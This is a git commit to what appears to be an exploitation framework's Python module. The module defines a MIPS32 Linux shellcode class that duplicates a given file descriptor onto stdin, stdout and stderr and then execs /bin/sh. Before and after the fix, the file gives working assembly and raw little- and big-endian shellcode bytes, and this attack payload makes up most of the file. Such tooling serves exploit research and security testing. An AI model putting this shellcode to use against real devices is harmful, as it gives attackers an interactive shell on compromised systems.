<commit_before>import struct

from archinfo import Endness

from ..shellcode import Shellcode
from ..utils import convert_arch



class LinuxMIPS32Dupsh(Shellcode):

    os = ["unix"]
    arches = ["mipsel", "mipsbe"]
    name = "dupsh"
    asm = """
    /* dup(fd=7) */
    li $t9, ~7
    not $a0, $t9
    /* call dup() */
    ori $v0, $zero, SYS_dup
    syscall 0x40404

    /* execve(path='//bin/sh', argv=['sh'], envp={}) */
    /* push '//bin/sh\x00' */
    li $t1, 0x69622f2f
    sw $t1, -12($sp)
    li $t1, 0x68732f6e
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -12
    add $a0, $sp, $0 /* mov $a0, $sp */
    /* push argument array [] */
    /* push '\x00' */
    sw $zero, -4($sp)
    addiu $sp, $sp, -4
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    sw $a2, -4($sp)
    addi $sp, $sp, -4 /* null terminate */
    add $a2, $sp, $0 /* mov $a2, $sp */
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    ori $t1, $zero, 26739
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
    slti $a1, $zero, 0xFFFF /* $a1 = 0 */
    sw $a1, -4($sp)
    addi $sp, $sp, -4 /* null terminate */
    li $t9, ~4
    not $a1, $t9
    add $a1, $sp, $zero
    sw $a1, -4($sp)
    addi $sp, $sp, -4 /* 'sh\x00' */
    add $a1, $sp, $0 /* mov $a1, $sp */
    /* setregs noop */
    /* call execve() */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
"""

    code_le = (b"%s" +
               b"\x19$'  \x03\xc9\x0f\x024\x0c\x01\x01\x01bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd'  \xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\xbd#\xfb\xff\x19$'( \x03 (\xa0\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01"
    )

    
    code_be = (b"$\x19" +
               b"%s" +
               b"\x03  '4\x02\x0f\xc9\x01\x01\x01\x0c<\tib5)//\xaf\xa9\xff\xf4<\ths5)/n\xaf\xa9\xff\xf8\xaf\xa0\xff\xfc'\xbd\xff\xf4\x03\xa0  \xaf\xa0\xff\xfc'\xbd\xff\xfc(\x06\xff\xff\xaf\xa6\xff\xfc#\xbd\xff\xfc\x03\xa00 4\ths\xaf\xa9\xff\xfc'\xbd\xff\xfc(\x05\xff\xff\xaf\xa5\xff\xfc#\xbd\xff\xfc$\x19\xff\xfb\x03 ('\x03\xa0( \xaf\xa5\xff\xfc#\xbd\xff\xfc\x03\xa0( 4\x02\x0f\xab\x01\x01\x01\x0c"
    )    

    def __init__(self, fd):
        self.fd = fd

        if fd < 0 or fd >= 256:
            raise ValueError("invalid fd specified")

    def raw(self, arch=None):
        if not arch:
            raise ValueError("Architecture must be specified.")

        the_arch = convert_arch(arch)
<commit_msg>Fixed the mips32 dup shellcode to call dup2 on the given fd with 0, 1, and 2.<commit_after>import struct

from archinfo import Endness

from ..shellcode import Shellcode
from ..utils import convert_arch



class LinuxMIPS32Dupsh(Shellcode):

    os = ["unix"]
    arches = ["mipsel", "mipsbe"]
    name = "dupsh"
    asm = """
    li $t9, ~7
    not $a0, $t9
    li $t9, ~2
    not $a1, $t9
start:
    /* call dup2(7,[0,1,2]) */
    ori $v0, $zero, SYS_dup2
    syscall 0x40404
    addi $a1, $a1, -1
    bgez $a1, start
    add $t9, $t9, $zero /* nop */
    /* execve(path='//bin/sh', argv=['sh'], envp={}) */
    /* push '//bin/sh\x00' */
    li $t1, 0x69622f2f
    sw $t1, -12($sp)
    li $t1, 0x68732f6e
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -12
    add $a0, $sp, $0 /* mov $a0, $sp */
    /* push argument array [] */
    /* push '\x00' */
    sw $zero, -4($sp)
    addiu $sp, $sp, -4
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    sw $a2, -4($sp)
    addi $sp, $sp, -4 /* null terminate */
    add $a2, $sp, $0 /* mov $a2, $sp */
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    ori $t1, $zero, 26739
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
    slti $a1, $zero, 0xFFFF /* $a1 = 0 */
    sw $a1, -4($sp)
    addi $sp, $sp, -4 /* null terminate */
    li $t9, ~4
    not $a1, $t9
    add $a1, $sp, $zero
    sw $a1, -4($sp)
    addi $sp, $sp, -4 /* 'sh\x00' */
    add $a1, $sp, $0 /* mov $a1, $sp */
    /* setregs noop */
    /* call execve() */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
"""

    code_le = (b"%s" +
               b"\x19$'  \x03\xfd\xff\x19$'( \x03\xdf\x0f\x024\x0c\x01\x01\x01\xff\xff\xa5 \xfc\xff\xa1\x04 \xc8 \x03bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd'  \xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\xbd#\xfb\xff\x19$'( \x03 (\xa0\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01"
               )

    
    code_be = (b"$\x19" +
               b"%s" +
               b"\x03  '$\x19\xff\xfd\x03 ('4\x02\x0f\xdf\x01\x01\x01\x0c \xa5\xff\xff\x04\xa1\xff\xfc\x03 \xc8 <\tib5)//\xaf\xa9\xff\xf4<\ths5)/n\xaf\xa9\xff\xf8\xaf\xa0\xff\xfc'\xbd\xff\xf4\x03\xa0  \xaf\xa0\xff\xfc'\xbd\xff\xfc(\x06\xff\xff\xaf\xa6\xff\xfc#\xbd\xff\xfc\x03\xa00 4\ths\xaf\xa9\xff\xfc'\xbd\xff\xfc(\x05\xff\xff\xaf\xa5\xff\xfc#\xbd\xff\xfc$\x19\xff\xfb\x03 ('\x03\xa0( \xaf\xa5\xff\xfc#\xbd\xff\xfc\x03\xa0( 4\x02\x0f\xab\x01\x01\x01\x0c")


    def __init__(self, fd):
        self.fd = fd

        if fd < 0 or fd >= 256:
            raise ValueError("invalid fd specified")

    def raw(self, arch=None):
        if not arch:
            raise ValueError("Architecture must be specified.")

        the_arch = convert_arch(arch)

{'fraction_non_alphanumeric': 0.21866960676221978, 'fraction_numerical': 0.09095920617420065, 'mean_word_length': 2.0323119777158776, 'pattern_counts': {'":': 0, '<': 13, '<?xml version=': 0, '>': 5, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3424151', 'n_tokens_mistral': 2923, 'n_tokens_neox': 2711, 'n_words': 478}